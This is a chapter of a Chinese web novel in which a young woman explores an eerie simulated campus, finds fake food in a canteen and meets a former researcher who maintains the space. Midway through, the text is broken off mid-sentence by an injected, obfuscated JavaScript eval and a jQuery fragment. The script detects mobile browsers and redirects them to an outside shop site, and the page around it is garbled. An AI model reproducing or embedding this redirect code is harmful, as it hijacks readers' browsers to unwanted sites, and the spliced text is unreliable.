    时亦砜的脚步没有放缓。她的左手始终插在外套口袋里，指尖触碰着那把刻着无穷大符号的木盒钥匙。钥匙冰凉，金属表面有细微的划痕，像是被摩挲过很多次。


    她的右手腕上，那根黑色皮筋已经恢复原位，橡胶的触感真实而熟悉。但她清楚地记得，就在半小时前，这根皮筋还“不存在”于镜中，也不在她的手腕上。


    记忆在背叛她，还是空间在修正记忆？


    前方传来水声。小路尽头有一个废弃的喷泉，圆形的水池里积着浑浊的雨水，中央的石膏雕塑已经斑驳残缺——一个抱着水瓶的少女，面容模糊。


    时亦砜在喷泉边停下。水面平静如镜，倒映出灰白色的天空和她自己的影子。


    她俯身看去。


    水中的倒影和她动作同步，棕发，灰色眼睛，略显苍白的脸。


    但当她凝视超过三秒时，倒影的嘴角**微微向上**扯动了一下。


    一个几乎难以察觉的、非自愿的肌肉抽动。


    时亦砜没有动。她继续凝视。


    倒影的眼睛眨了一下——不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121950|193113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同步的眨眼，而是**在她眨眼之后半秒**，才缓慢地、刻意地闭合又睁开。


    就像模仿者在学习，但还没有掌握好节奏。


    时亦砜缓缓直起身。她没有逃跑，也没有表现出惊慌，只是平静地从口袋里掏出手机，对着水面拍了一张照片。


    闪光灯亮起的瞬间，她看到水中的倒影**露出了惊恐的表情**——真正的、属于人类的惊恐，虽然只有一瞬，但足够清晰。


    然后水面恢复平静，倒影也恢复了正常的、同步的状态。


    时亦砜查看手机照片。画面里只有浑浊的水面和她自己的倒影，一切正常。刚才那一瞬的惊恐，没有被镜头捕捉。


    她将手机收起，继续前行。这个信息很重要：这个空间的“异常”在某种程度上害怕被记录。或者说，它们不能完全控制被记录下来的影像。


    小路在前方分叉。左边通往第三食堂的后门，右边通往校园的偏僻角落——一片废弃的小花园，据说曾经是某个教授的实验田，后来荒废了。


    时亦砜选择了右边。


    她没有直接去食堂，因为她需要先确认一件事：离开宿舍楼后，她是否真的“安全”了？还是说，整个校园都变成了那个扭曲空间的一部分？


    废弃小花园的铁门虚掩着，门上的锁早已锈坏。她推门进去，门轴发出刺耳的呻吟。


    花园里杂草丛生，半人高的蓟草和不知名的藤蔓缠绕在一起。中央有一座破败的凉亭，木结构已经腐朽，屋顶塌了一半。


    时亦砜没有深入，只是站在门口，观察四周。


    这里很安静，只有风吹过草丛的沙沙声。阳光透过稀疏的树冠洒下来，形成斑驳的光影。


    太安静了。


    没有虫鸣，没有鸟叫，没有任何活物的声音。


    她弯腰从地上捡起一块石头，用力扔向凉亭方向。


    石头在空中划出抛物线，落地的瞬间——


    **所有的声音都消失了。**


    不是石头落地的声音消失，而是**整个世界的声音**都消失了。风停了，草叶停止了摆动，连她自己的呼吸声都听不见了。


    绝对的、真空般的寂静。


    时亦砜站在原地，一动不动。她的目光死死锁定着石头落地的位置——草丛深处，有什么东西在动。


    不是动物，而是……**草丛本身**。


    那些杂草开始以石头落地点为中心，**向四面八方倒伏**，像是被无形的冲击波推开。倒伏的轨迹呈现出完美的圆形，半径不断扩大，一米，两米，三米……


    当半径扩展到离她还有五米时，停止了。


    然后，所有的草叶开始**反向生长**。


    不是重新直立，而是像录像倒放一样，每一片叶子都沿着刚才倒伏的轨迹，以完全相同的速度和角度，重新“站”了起来。整个过程持续了大约十秒，结束时，草丛恢复原状，仿佛什么都没有发生过。


    寂静也在这时被打破。


    风声回来了，远处隐约的校园喧嚣也回来了。


    时亦砜缓缓呼出一口气。她明白了：这个小花园是一个**敏感区域**。任何突然的扰动，都会触发某种“重置”机制。


    而重置的过程，暴露出这个空间的本质：它不是真实的物理空间，而是某种**可编程的、可逆的模拟环境**。


    她转身离开小花园，轻轻带上铁门。


    现在她需要去食堂。不仅是出于生理需求，更是因为那里是校园里信息最集中的地方之一。如果有其他“居民”，如果有关于这个系统的线索，食堂是最可能出现的地方。


    第三食堂是一栋三层的老建筑，外墙贴着上世纪九十年代流行的米黄色瓷砖，有些已经剥落。正门上方挂着褪色的招牌，玻璃门上贴着各种通知和菜单。


    时亦砜没有从正门进入。她绕到食堂侧面，那里有一个小门，通常用于运送食材，但现在锁着。


    她检查了门锁——普通的挂锁，已经生锈。她从书包里拿出一个小工具包，里面是第六日给的一套多功能工具。她选择了一个细长的钩子，插入锁孔，试探性地拨弄。


    十秒钟后，锁开了。


    时亦砜推门进去。门后是一条狭窄的走廊，两侧堆放着空的蔬菜筐和米袋。空气中有股淡淡的食物霉变和消毒水混合的气味。


    她沿着走廊向前，尽头是一扇双开的弹簧门，门上的小窗透出食堂大厅的光亮。


    时亦砜停在门前，透过小窗观察大厅。


    现在是早晨八点零三分，早餐高峰期。大厅里大约有三分之一的位置坐着学生，大多数是刚起床的、睡眼惺忪的样子。打饭窗口前排着七八个人的队伍，食堂阿姨机械地舀着粥和包子。


    一切都正常。


    但时亦砜注意到了几个细节：


    1. 所有学生的餐盘里，食物的**种类完全一致**：一碗白粥，一个白面馒头，一小碟咸菜。没有任何人有多样化的选择。


    2. 所有学生吃饭的**节奏完全同步**：舀一勺粥，咀嚼五次，咬一口馒头，咀嚼七次，夹一筷子咸菜，咀嚼三次。然后重复。


    3. 没有人说话。整个大厅只有餐具碰撞的轻微声响和咀嚼声，形成一种诡异的、规律的白噪音。


    时亦砜的后背开始发凉。这不是食堂，这是某种**进餐仪式的模拟现场**。


    她后退一步，决定不进入大厅。但她需要食物——真正的食物，而不是那些看起来像食物的东西。


    她转身回到走廊，开始检查那些堆放食材的房间。


    第一个房间是米仓。几十袋大米整齐码放，包装完好。时亦砜走近，用手撕开一袋大米的封口——


    里面是**白色的塑料颗粒**。


    不是米，是大小和形状都模仿大米的塑料制品。


    她连续检查了三袋，全是塑料颗粒。


    第二个房间是蔬菜储藏室。架子上摆满了白菜、土豆、胡萝卜……外表看起来新鲜水灵。时亦砜拿起一颗土豆，用指甲划开表皮——


    表皮下面是**海绵状的填充物**，染成了土豆的颜色。


    所有的蔬菜都是模型。


    第三个房间是冷藏室。推开门，冷气扑面而来。架子上摆满了肉类：整鸡，猪肉块，鱼肉……


    时亦砜用折叠刀切下一小块“鸡肉”。


    刀尖传来的触感不是肉质，而是**某种凝胶状物质**，弹性十足，切开后断面光滑，没有肌肉纤维的纹理。


    她将刀尖凑近鼻子闻了闻——没有任何气味，连血腥味或肉腥味都没有。


    这个食堂提供的所有“食物”，都是不能食用的模型或替代品。


    那么那些学生吃的是什么？


    时亦砜回到走廊，再次透过小窗观察大厅。


    一个学生正好吃完，端着餐盘走向回收处。在将餐盘放进回收窗口的瞬间，时亦砜清楚地看到：餐盘里的“食物”**没有减少**。


    那个学生吃了一整份早餐，但食物原封不动。


    时亦砜明白了：他们不是在进食，而是在**模拟进食**。就像演员在舞台上表演吃饭，道具食物不会被真正消耗。


    她需要找到真正的食物。既然这个系统给她设置了饥饿和疲劳的感知，那么一定有地方能获取真实的补给。


    她的目光落在了走廊尽头的一扇门上。那扇门不同于其他门，是厚重的防火门，门上有电子锁，旁边贴着标签：【员工休息室/仓库·非请勿入】


    时亦砜走向那扇门。电子锁是密码式的，四位数字。


    她尝试了几个常见的组合：1234，0000，8888……都没有反应。


    她退后一步，仔细观察门框周围。在门框与墙壁的接缝处，她发现了一条极细的裂缝，里面透出微弱的**红光**。


    她蹲下身，从工具包里取出一面小镜子，调整角度，通过裂缝反射内部的情况。


    镜子里的画面让她呼吸一滞。


    房间内部是一个完全不同的空间。不是休息室，而是一个**现代化的、无菌的补给站**。


    金属架子上整齐摆放着真正的食物：真空包装的面包、饼干、罐头、瓶装水。墙上有医疗急救箱，角落甚至有一张简易的行军床。


    但房间里有人。


    一个穿着食堂工作服的背影，正坐在监视器前，监控着食堂大厅的情况。从体态判断，是个中年男性。


    时亦砜迅速收回镜子。她没有立刻行动，而是开始思考：这个人是谁？是系统的管理员？是其他“居民”？还是这个空间本身的维护程序？


    她需要进入那个房间。不仅是为了食物和补给，更是为了信息。


    但怎么通过电子锁？


    她的目光落在了门旁的墙壁上。那里贴着一张食堂的值班表，塑料封膜，已经泛黄。


    值班表上列出了最近一周的排班，每个班次后面有当班员工的签名。


    时亦砜仔细查看签名。大多数都是潦草的中文名，但有一个名字引起了她的注意：**L.Xiao**


    林晓。


    又是这个名字。


    林晓的排班时间是昨天下午四点至晚上十点，夜班。


    时亦砜看向电子锁。如果这个林晓真的是这里的员工，那么她很可能知道密码。


    但林晓已经死了——至少，三年前的照片显示她是研究小组成员，而宿舍楼里的信息暗示她们已经死亡。


    除非……林晓也是“居民”之一？或者以某种形式“存在”在这个系统里？


    时亦砜从口袋里掏出那张泛黄的照片。照片背面的名字里，“林晓”两个字写得工整清晰。


    她将照片翻过来，看向照片正面。


    在合影的背景里，食堂的这栋建筑隐约可见。但更重要的是，照片中林晓的胸前，挂着一个**工作牌**。


    时亦砜将照片凑近，眯起眼睛仔细辨认。


    工作牌上有照片，但太小看不清。下面有一串数字，也很模糊。但工作牌的**颜色**很特别：不是普通的白色或蓝色，而是**淡绿色**。


    她抬头看向电子锁。锁的旁边，有一个小小的、几乎看不见的**颜色识别传感器**。


    不是密码锁，而是**色卡识别锁**。


    时亦砜再次看向照片。林晓的工作牌是淡绿色，但照片年代久远，颜色可能已经失真。真实的颜色是什么？


    她需要试错。


    她从书包里拿出一本便签本和一支笔，快速撕下几张小纸片，然后用笔涂上不同的绿色：草绿，墨绿，橄榄绿，薄荷绿……


    每涂一种，她就将纸片贴近传感器。


    前三种都没有反应。


    第四种——薄荷绿，接近蒂芙尼蓝的那种淡绿色——传感器发出了轻微的“滴”声，然后电子锁的指示灯从红变绿。


    锁开了。


    时亦砜轻轻推开门。门轴润滑良好，没有发出声音。


    她闪身进入，反手关上门。


    房间里的那个背影没有转身，依然专注地看着监视器屏幕。屏幕被分割成十几个小画面，覆盖食堂各个角度。


    时亦砜没有立刻出声，而是迅速观察房间。


    大约二十平米，除了监视器和工作台，还有三个金属储物柜，一张小桌，两把椅子。墙角的行军床上铺着整洁的床单，枕头边放着一本书。


    书名是：《非欧几里得空间结构导论》


    时亦砜的目光回到那个背影。她缓缓靠近，在距离对方约三米处停下。


    “林晓？”她轻声问。


    背影僵住了。


    然后，非常缓慢地，椅子转了过来。


    坐在椅子上的，确实是个中年女性，穿着食堂工作服，戴着白色厨师帽。但她的脸……


    时亦砜的呼吸停止了。


    那张脸，和她照片上看到的林晓**一模一样**。不是相似，是完全相同，连左眼下方那颗小小的泪痣的位置都分毫不差。


    但照片是三年前的，而眼前的人看起来至少有四十岁。时间在她脸上留下了痕迹——细微的皱纹，眼角的鱼尾纹，略显疲惫的眼神。


    “时亦砜。”女人开口，声音温和，带着某种职业性的平静，“你比预计的时间晚了十七分钟。”


    时亦砜握紧了口袋里的折叠刀。“你是谁？”


    “我是林晓。”女人站起身。她的身高和时亦砜相仿，约一米六五，身材瘦削，工作服显得有些宽大。“或者说，我曾经是林晓。现在我是这个食堂区的维护者，编号C-7。”


    “维护者？”


    “维持这个区域的正常运转，确保‘食物供应’的模拟顺利进行，处理偶尔出现的异常。”林晓走到储物柜前，打开柜门，从里面拿出一个金属饭盒，“你应该饿了。真正的食物在这里。”


    她将饭盒递给时亦砜。


    时亦砜没有接。“你先解释。三年前的照片上，你是生物医学研究小组的成员。现在你在这里，穿着食堂工作服。发生了什么？”


    林晓的表情出现了一丝细微的波动，像是平静水面被投入了一颗小石子。


    “三年前……”她低声重复，目光变得遥远，“三年前，我们小组在研究一种新型的空间折叠技术。我们成功了，但也失败了。”


    她走向小桌，示意时亦砜坐下。


    “成功是指，我们确实创造了一个可控的、可编程的空间折叠场。失败是指……那个场失控了，将整个实验区域，连同我们所有人，都吞了进去。”


    林晓坐下来，双手交叠放在桌面上。时亦砜注意到，她的左手手腕上，也戴着一根**黑色的皮筋**。


    “我们现在所在的地方，就是那个折叠场的内部。”林晓继续说，“一个自我维持的、不断演化的模拟宇宙。它读取我们的记忆，构建我们熟悉的环境，但也混杂了实验数据、错误代码、和……死者的意识残影。”


    “死者？”


    “是的。”林晓的目光落在时亦砜手中的照片上，“照片上的其他人，除了我，都死了。在实验失控的瞬间，空间折叠产生的能量脉冲超出了人体承受极限。他们的□□被分解，但意识被……截留了。困在这个系统里，成为了维持运转的一部分。”


    时亦砜感到一股寒意从脊椎升起。“你是说，宿舍楼里的那些声音，那些异常……”


    “是他们的残影。是系统试图模拟‘正常宿舍生活’时，混入的错误数据。就像是录音带被反复播放后产生的杂音和失真。”


    林晓站起身，走到监视器前，调出一个画面。


    画面显示的是四号宿舍楼四楼走廊，实时影像。走廊空无一人，但时亦砜看到，在404门前，有一个模糊的影子在徘徊。


    “这是李薇。”林晓指着影子，“我们组的副组长。她的残影被困在宿舍楼里，试图完成她未完成的工作——整理实验数据。但系统错误地将这个‘工作’理解为了‘整理宿舍’，所以她总是在走廊里徘徊，试图进入每个房间整理，但永远找不到正确的门。”


    她又调出另一个画面：五楼走廊，那个穿着白大褂的身影。


    “这是张教授，我们的指导老师。他死前正在检查实验样本，所以他的残影总是穿着白大褂，拿着笔记本，在实验室区域巡视。”


    “那么你呢？”时亦砜问，“你为什么还保持着完整的意识？为什么在这里当‘维护者’？”


    林晓沉默了几秒钟。


    “因为我是操作员。”她的声音变得很轻，“实验失控时，我在控制台前。折叠场启动的最后瞬间，我按下了紧急隔离协议。我的意识被上传到了系统的安全层，□□死亡，但意识得以以数字形式保存。”


    她转身看向时亦砜，灰色的眼睛里有一种深沉的疲惫。


    “作为代价，我必须维护这个系统的稳定，防止它完全崩溃。因为如果系统崩溃，所有人的意识残影都会彻底消散。而外界……没有人知道我们在这里。实验是绝密的，位置是地下的，我们被彻底遗忘了。”


    时亦砜消化着这些信息。她看着手中的照片，又看向眼前的林晓。


    “那我呢？”她问，“我为什么会在这里？我不是你们研究小组的成员。”


    林晓走回桌边，坐下。


    “这就是问题所在。”她说，“系统应该只容纳了实验当天在场的人员。但你出现了，一个完全无关的外来者。而且你通过了宿舍楼的测试——那本来是设计给新觉醒的意识残影的适应性测试，确保他们能接受自己的新状态。”


    她向前倾身，目光锐利地看着时亦砜。


    “你是谁？你是怎么进来的？更重要的是……你能出去吗？”


    时亦砜没有立刻回答。她打开林晓给她的饭盒，里面是真正的食物：一个三明治，一个苹果，一瓶水。她咬了一口三明治，面包松软，火腿和蔬菜新鲜。


    真实的味道让她几乎感动。


    “我不知道。”她诚实地说，“我醒来时就在404宿舍，没有任何之前的记忆。我只知道我的名字，和一些……本能性的技能。”


    林晓若有所思地点点头。“失忆是常见症状。意识上传过程会对短期记忆造成损伤。但如果是外来者，理论上系统会立刻识别并排斥你，就像免疫系统排斥异物。”


    “除非，”时亦砜说，“我不是完全的异物。我和这个系统有某种……连接。”


    她抬起手腕，露出那根黑色皮筋。“比如这个。它出现在我的宿舍，又出现在我手腕上。而你也戴着同样的东西。”


    林晓也抬起手腕。两根皮筋几乎一模一样。


    “这是研究小组的标识。”林晓解释，“我们每个人在实验当天都戴着一根，作为身份识别。黑色，最普通的款式，但橡胶里混入了微量的放射性示踪剂，用于在实验过程中追踪每个人的位置。”


    她顿了顿，“你的这根……我需要检查一下。”


    时亦砜解下皮筋，递给林晓。


    林晓从工作台抽屉里拿出一个小型的手持扫描仪，对着皮筋扫描。


    扫描仪的屏幕亮起，显示出一系列数据。


    林晓的脸色变了。


    “不可能……”她低声说。


    “怎么了？”


    “这根皮筋里的示踪剂编码……”林晓抬起头，眼神复杂地看着时亦砜，“这是**我的编码**。这是我三年前戴的那根皮筋。”


    房间里陷入死寂。


    时亦砜看着那根黑色的橡胶圈，又看向林晓手腕上那根一模一样的皮筋。


    “也就是说，我们中有一个戴的是假的？”她问。


    “不。”林晓摇头，声音干涩，“两根都是真的。系统在复制物品时，会完美复制所有物理属性，包括内部的示踪剂编码。但问题是——我的那根应该在三年前就遗失了。在实验失控的瞬间，我扯断了它，试图用它作为临时的数据存储介质，记录最后的实验参数。”


    她从脖子上解下一根细绳，绳子上挂着一个**小小的金属管**，约两厘米长。


    “我把皮筋里的示踪剂芯片取了出来，装进了这个屏蔽管里，戴在身上。这是系统里唯一不可能被复制的东西，因为它被特殊处理过，处于量子锁定状态。”


    林晓打开金属管，倒出里面的东西：一个米粒大小的黑色芯片。


    “我的皮筋本体已经不存在了。所以我手腕上这根，是系统根据我的记忆模拟出来的复制品。它看起来真实，但扫描时不会显示任何编码。”


    她再次扫描自己手腕上的皮筋——扫描仪没有反应。


    然后她扫描时亦砜的那根——屏幕清晰地显示出编码序列。


    “你这根是物理真实存在的。”林晓得出结论，“它不是系统的模拟产物。它是……从外界带入的实物。”


    时亦砜重新戴上皮筋。橡胶的触感从未如此真实，如此沉重。